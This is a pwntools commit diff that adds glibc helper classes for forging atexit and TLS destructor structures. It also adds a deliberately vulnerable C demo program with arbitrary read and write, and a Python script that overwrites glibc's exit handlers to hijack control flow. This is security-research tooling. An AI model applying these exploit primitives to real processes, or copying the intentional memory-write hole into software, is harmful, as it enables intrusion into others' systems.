Add atexit functions for glibc exploits (#2683)

* feat: implement basic Exit*

* feat: add docs and doc test to exit func classes

closes #2633 #2637

* fix: add missing line; fix doc test

* chore: update changelog

* fix: remove function signature in docs

Sphinx will automatically resolve it via Python code

* feat: Add source code refs, fix typos

* fix: correct escapes to suppress warning

* feat: add implementation of `struct dtor_list`

* feat: add exit-handler example

* refactor: standardize repr class name

* Fix types and docs

* Fix links in docs

---------

Co-authored-by: Peace-Maker <[email protected]>
This commit is contained in:
RocketDev
2026-05-07 12:21:31 +02:00
committed by GitHub
co-authored by Peace-Maker
parent b0d6dcfab8
commit 9871b5a112
5 changed files with 421 additions and 3 deletions
+2
View File
@@ -117,6 +117,7 @@ The table below shows which release corresponds to each branch, and what date th
- [#2669][2669] asm: try native binutils before fallback architectures
- [#2673][2673] Add libc module for libc-related functions
- [#2680][2680] Cleanup Python 2 legacy
- [#2683][2683] libc: add atexit functions for glibc exploits
- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
- [#2682][2682] Fix `server.close()` not closing the listen socket
@@ -173,6 +174,7 @@ The table below shows which release corresponds to each branch, and what date th
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
[2673]: https://github.com/Gallopsled/pwntools/pull/2673
[2680]: https://github.com/Gallopsled/pwntools/pull/2680
[2683]: https://github.com/Gallopsled/pwntools/pull/2683
[2687]: https://github.com/Gallopsled/pwntools/pull/2687
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
[2682]: https://github.com/Gallopsled/pwntools/pull/2682
+72
View File
@@ -0,0 +1,72 @@
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
from pwn import *
import shutil
import tempfile
import os
context.log_level = 'debug'
context.arch = 'amd64'
EXE = './vulnerable'
t = process(EXE)
elf = ELF(EXE)
# Copy libc so later we can unstrip it
libc = elf.libc
tmpfd, tmpname = tempfile.mkstemp()
print(tmpfd)
with open(libc.file.name, 'rb') as f:
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
libcdb.unstrip_libc(tmpname)
libc = ELF(tmpname)
# Now fetch information
# XXX: in my build, the tls variable locates at fs:[-4]
t.recvuntil(b': ')
tls = int(t.recvline(), 16)
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
t.recvuntil(b': ')
handle = int(t.recvline(), 16)
t.recvuntil(b': ')
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
info(f'Leak libc_base: {libc_base:#x}')
libc.address = libc_base
t.recvuntil(b': ')
chunk = int(t.recvline(), 16)
# Then read pointer_guard value
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
t.recvuntil(b': ')
guard = int(t.recvline(), 16)
info(f'Guard is: {guard:#x}')
# Next overwrite initial and tls_dtors
t.recvuntil(b'%p=%lx')
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
# on glibc 2.43, the offset is 0x498
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
def write_object(addr: int, blob: bytes) -> str:
return ' '.join(
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
for i in range(0, len(blob), 8)
)
# Firstly, write glibc initial to overwrite global dtor
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
# Secondly, write tls dtor
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
# XXX: tls_dtor_list must be free-able
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
# on my machine it's fs:[-0x48]
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
# Thirdly, terminate cycle
t.sendline(b'x')
# Finally, wait for exit
t.recvuntil(b'happen:\n')
t.interactive()
BIN
View File
Binary file not shown.
+39
View File
@@ -0,0 +1,39 @@
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <threads.h>
#include <unistd.h>
thread_local int x;
void malicious_handler(void *arg) {
printf("Calling handler with %p\n", arg);
}
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Assume you have some way to leak information about TLS: %p\n", &x);
printf("Some more information about function to hijack: %p\n", malicious_handler);
printf("You can't exploit without glibc: %p\n", puts);
void *p = malloc(0x500);
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
printf("Then you have some way to read/write pointer_guard\n");
size_t *where = NULL;
printf("Where to read? %%p > ");
scanf("%p", &where);
printf("Dereferenced value: %#lx\n", where ? *where : 0);
printf("Now perform arbitrary write ability on hijack exit handlers...\n");
printf("Write addresses in pairs: %%p=%%lx\n");
size_t value = 0;
while (scanf("%p=%lx", &where, &value) == 2) {
*where = value;
}
printf("Let's exit to see what will happen:\n");
return 0;
}
+308 -3
View File
@@ -1,8 +1,12 @@
"""
Some glibc related convenient functions.
"""
from __future__ import annotations
from enum import IntEnum
from pwnlib.context import context
from pwnlib.util.fiddling import ror, rol
from pwnlib.util.packing import flat, unpack, unpack_many, _need_bytes
def ptr_mangle(guard: int, value: int) -> int:
"""
@@ -56,17 +60,17 @@ def ptr_demangle(guard: int, mangled: int) -> int:
def protect_ptr(word_addr: int, value: int) -> int:
"""
Perform ` ``PROTECT_PTR`` <https://elixir.bootlin.com/glibc/glibc-2.42/source/malloc/malloc.c#L331>`__
Perform `PROTECT_PTR <https://elixir.bootlin.com/glibc/glibc-2.42/source/malloc/malloc.c#L331>`__
in glibc heap macros to protect pointers.
``REVEAL_PTR`` is basically ``PROTECT_PTR``, and since we don't know
the address of the word, so use ``protect_ptr`` instead.
Arguments:
word_addr(int): The address of where ``value`` is stored.
value(int): The value to protect/reveal
value(int): The value to protect/reveal.
Returns:
Protected/Revealed value
Protected/Revealed value.
Examples:
>>> hex(glibc.protect_ptr(0x5e5555556700, 0))
@@ -107,3 +111,304 @@ def reveal_ptr_same_page(ptr_value: int) -> int:
ptr_value ^= key >> 12
mask >>= 12
return ptr_value
class ExitFlavor(IntEnum):
"""Enum adapted from glibc ``exit.h``. Check `enum definitions`_.
Original enums are: ``ef_free``, ``ef_us``, ``ef_on``, ``ef_at``
and ``ef_cxa``.
.. _enum definitions: https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L25-L32
"""
FREE = 0
USED = 1
ON = 2
AT = 3
CXA = 4
class ExitFunc:
"""
Craft a ``struct exit_function`` object. If user has arbitrary write
to libc area and knows pointer guard used in ``PTR_MANGLE``, then
the user is able to hijack control flow when process exits. Check
`struct exit_function definitions`_.
Arguments:
flavor(ExitFlavor): Which flavor of exit func is registered.
func(int): A pointer to function to execute.
guard(int): Process ``POINTER_GUARD``.
arg(int): Optional. ``onexit`` and ``cxa_exit`` require it.
dso(int): Optional. ``cxa_exit`` require it. (dso_handle)
Examples:
>>> context.clear(arch='amd64')
>>> glibc.ExitFunc(glibc.ExitFlavor.FREE, 0, 0)
ExitFunc(FREE)
>>> glibc.ExitFunc(glibc.ExitFlavor.CXA, 0x401f0, 0x13371337deadbeef, 0x238900000680, 0x44008)
ExitFunc(CXA, fn=0x401f0 ^ 0x13371337deadbeef, arg=0x238900000680, dso_handle=0x44008)
>>> exit_func = glibc.ExitFunc(glibc.ExitFlavor.AT, 0x401f0, 0x13371337deadbeef)
>>> exit_func
ExitFunc(AT, fn=0x401f0 ^ 0x13371337deadbeef)
>>> bytes(exit_func).hex()
'03000000000000006e263e7e53bd6f26'
.. _struct exit_function definitions: https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L34-L54
"""
flavor: ExitFlavor
fn: int
guard: int
arg: int | None
dso: int | None
def __init__(self, flavor: ExitFlavor, func: int, guard: int,
arg: int | None = None, dso: int | None = None):
self.flavor = flavor
self.fn = func
self.guard = guard
self.arg = arg
self.dso = dso
match flavor:
case ExitFlavor.ON:
if arg is None:
raise TypeError('on_exit requires an arg pointer')
case ExitFlavor.FREE | ExitFlavor.USED | ExitFlavor.AT:
pass
case ExitFlavor.CXA:
if arg is None or dso is None:
raise TypeError('cxa_exit requires both arg and dso_handle pointer')
case _:
raise TypeError(f'flavor must be an ExitFlavor, instead of {type(flavor)}')
def __repr__(self) -> str:
match self.flavor:
case ExitFlavor.ON:
extra = f', arg={self.arg:#x}'
case ExitFlavor.AT:
extra = ''
case ExitFlavor.CXA:
extra = f', arg={self.arg:#x}, dso_handle={self.dso:#x}'
case ExitFlavor.USED | ExitFlavor.FREE:
return f'{type(self).__name__}({self.flavor.name})'
return (
f'{type(self).__name__}({self.flavor.name}, '
f'fn={self.fn:#x} ^ {self.guard:#x}{extra})'
)
def __bytes__(self) -> bytes:
match self.flavor:
case ExitFlavor.ON:
return flat(self.flavor, ptr_mangle(self.guard, self.fn),
self.arg)
case ExitFlavor.AT:
return flat(self.flavor, ptr_mangle(self.guard, self.fn))
case ExitFlavor.CXA:
return flat(self.flavor, ptr_mangle(self.guard, self.fn),
self.arg, self.dso)
case ExitFlavor.FREE | ExitFlavor.USED:
return flat(self.flavor)
def __flat__(self) -> bytes:
return bytes(self)
@staticmethod
def from_bytes(data: bytes, guard: int) -> ExitFunc:
"""
Construct an ``ExitFunc`` from bytes object.
Arguments:
data(bytes): The bytes object to convert to ``ExitFunc``. Must be aligned
to ``context.arch`` word boundry.
guard(int): Process ``POINTER_GUARD`` to demangle pointers.
Examples:
>>> context.clear(arch='amd64')
>>> guard = 0x2f21c4a298024bcd
>>> blob = bytes.fromhex('0300000000000000435ea835ae9aef23')
>>> glibc.ExitFunc.from_bytes(blob, guard)
ExitFunc(AT, fn=0x555555555119 ^ 0x2f21c4a298024bcd)
>>> blob = bytes.fromhex('0200000000000000435ea835ae9aef230000371337130000')
>>> glibc.ExitFunc.from_bytes(blob, guard)
ExitFunc(ON, fn=0x555555555119 ^ 0x2f21c4a298024bcd, arg=0x133713370000)
>>> blob = bytes.fromhex('0000000000000000')
>>> glibc.ExitFunc.from_bytes(blob, guard)
ExitFunc(FREE)
>>> blob = bytes.fromhex('0100000000000000')
>>> glibc.ExitFunc.from_bytes(blob, guard)
ExitFunc(USED)
"""
data = _need_bytes(data)
if len(data) % context.bytes != 0 or len(data) == 0:
raise ValueError(f'data must be aligned to word boundry ({context.bytes} bytes)')
words = unpack_many(data)
try:
flavor = ExitFlavor(words[0])
match flavor:
case ExitFlavor.FREE | ExitFlavor.USED:
return ExitFunc(flavor, 0, guard)
case ExitFlavor.ON:
return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard,
words[2])
case ExitFlavor.AT:
return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard)
case ExitFlavor.CXA:
return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard,
words[2], words[3])
except IndexError:
raise ValueError('Insufficient data when decoding ExitFunc') from None
class ExitFuncList:
"""
Craft a ``struct exit_function_list`` object. glibc has a static variable
``initial`` to store most atexit objects and a pointer ``__exit_funcs``
pointing to ``initial``. Check `struct exit_function_list definitions`_.
Arguments:
nextp(int): Next ``struct exit_function_list`` pointer on chain.
fns(list[ExitFunc]): Registered exit functions
Attributes:
idx(int): Total size of registered exit funcs.
(This field is automatically obtained via ``len(funcs)``)
Examples:
>>> context.clear(arch='i386')
>>> fa = glibc.ExitFunc(glibc.ExitFlavor.FREE, 0, 0)
>>> fb = glibc.ExitFunc(glibc.ExitFlavor.AT, 0x401f0, 0x13371337)
>>> flist = glibc.ExitFuncList(0, [fa, fb])
>>> flist
ExitFuncList(next=0x0, idx=2, fns=[ExitFunc(FREE), ExitFunc(AT, fn=0x401f0 ^ 0x13371337)])
>>> bytes(flist).hex()
'00000000020000000000000000000000000000000000000003000000268e25660000000000000000'
.. _struct exit_function_list definitions: https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L55-L60
"""
nextp: int
idx: int
fns: list[ExitFunc]
def __init__(self, nextp: int, fns: list[ExitFunc]):
self.nextp = nextp
self.fns = fns
self.idx = len(fns)
def __repr__(self) -> str:
return (
f'{type(self).__name__}(next={self.nextp:#x}, '
f'idx={self.idx}, fns={self.fns})'
)
def __bytes__(self) -> bytes:
func_sz = 4 * context.bytes
return flat(
self.nextp, self.idx,
[bytes(fn).ljust(func_sz, b'\x00') for fn in self.fns],
)
def __flat__(self) -> bytes:
return bytes(self)
@staticmethod
def from_bytes(data: bytes, guard: int) -> ExitFuncList:
"""
Construct an ``ExitFuncList`` from bytes object.
Arguments:
data(bytes): The bytes object to convert to ``ExitFuncList``. Should be
large enough to resolve all entries specified by ``idx``.
guard(int): Process ``POINTER_GUARD`` to demangle pointers.
Examples:
>>> context.clear(arch='amd64')
>>> guard = 0x2d42599562d398bb
>>> blob = bytes.fromhex('000000000000000001000000000000000400000000000000845ab66f5e2ad54c00000000000000000000000000000000')
>>> glibc.ExitFuncList.from_bytes(blob, guard)
ExitFuncList(next=0x0, idx=1, fns=[ExitFunc(CXA, fn=0x7ffff7fcaf60 ^ 0x2d42599562d398bb, arg=0x0, dso_handle=0x0)])
"""
data = _need_bytes(data)
try:
nextp = unpack(data[0:context.bytes])
size = unpack(data[context.bytes:context.bytes * 2])
off = context.bytes * 2
func_sz = 4 * context.bytes
fns = [ExitFunc.from_bytes(data[off + i * func_sz:off + (i + 1) * func_sz], guard)
for i in range(size)]
return ExitFuncList(nextp, fns)
except IndexError:
raise ValueError('Insufficient data when decoding ExitFuncList') from None
class ExitDtorList:
"""
Craft a ``struct dtor_list`` object. glibc will invoke functions in it
if it's not null when exits. Note that to avoid program aborting, the
``ExitDtorList`` pointer must be free-able. Check `struct dtor_list definitions`_.
Arguments:
func(int): A pointer to function to execute.
guard(int): Process ``POINTER_GUARD``.
obj(int): Argument passed to ``func``.
lmap(int): A valid pointer to a ``link_map`` if you want
program not to abort. (``func`` is executed first.)
nextl(int): Next ``ExitDtorList`` on chain. ``0`` means end of chain.
Examples:
>>> context.clear(arch='amd64')
>>> dtor = glibc.ExitDtorList(0x402c0, 0xdeadbeef, 0, 0, 0)
>>> dtor
ExitDtorList(func=0x402c0 ^ 0xdeadbeef, obj=0x0, map=0x0, next=0x0)
>>> bytes(dtor).hex()
'00005e7853bd0100000000000000000000000000000000000000000000000000'
.. _struct dtor_list definitions: https://elixir.bootlin.com/glibc/glibc-2.38/source/stdlib/cxa_thread_atexit_impl.c#L82-L88
"""
func: int
guard: int
obj: int
lmap: int
nextl: int
def __init__(self, func: int, guard: int, obj: int, lmap: int, nextl: int):
self.func = func
self.guard = guard
self.obj = obj
self.lmap = lmap
self.nextl = nextl
def __repr__(self) -> str:
return (
f'{type(self).__name__}(func={self.func:#x} ^ {self.guard:#x}, '
f'obj={self.obj:#x}, map={self.lmap:#x}, next={self.nextl:#x})'
)
def __bytes__(self) -> bytes:
return flat(ptr_mangle(self.guard, self.func),
self.obj, self.lmap, self.nextl)
def __flat__(self) -> bytes:
return bytes(self)
@staticmethod
def from_bytes(data: bytes, guard: int) -> ExitDtorList:
"""
Construct an ``ExitDtorList`` from bytes object.
Arguments:
data(bytes): The bytes object to convert to ``ExitDtorList``, whose
length should exactly be ``4 * sizeof(size_t)``.
guard(int): Process ``POINTER_GUARD`` to demangle pointers.
Examples:
>>> context.clear(arch='amd64')
>>> guard = 0xd36a59fe4e9853d8
>>> blob = bytes.fromhex('d4a611029a375619000000000000000010915555555500000000000000000000')
>>> glibc.ExitDtorList.from_bytes(blob, guard)
ExitDtorList(func=0x5555555552d0 ^ 0xd36a59fe4e9853d8, obj=0x0, map=0x555555559110, next=0x0)
"""
data = _need_bytes(data)
if len(data) != 4 * context.bytes:
raise ValueError(f'The Length of data is not {4 * context.bytes}')
func, obj, lmap, nextl = unpack_many(data)
return ExitDtorList(ptr_demangle(guard, func), guard, obj, lmap, nextl)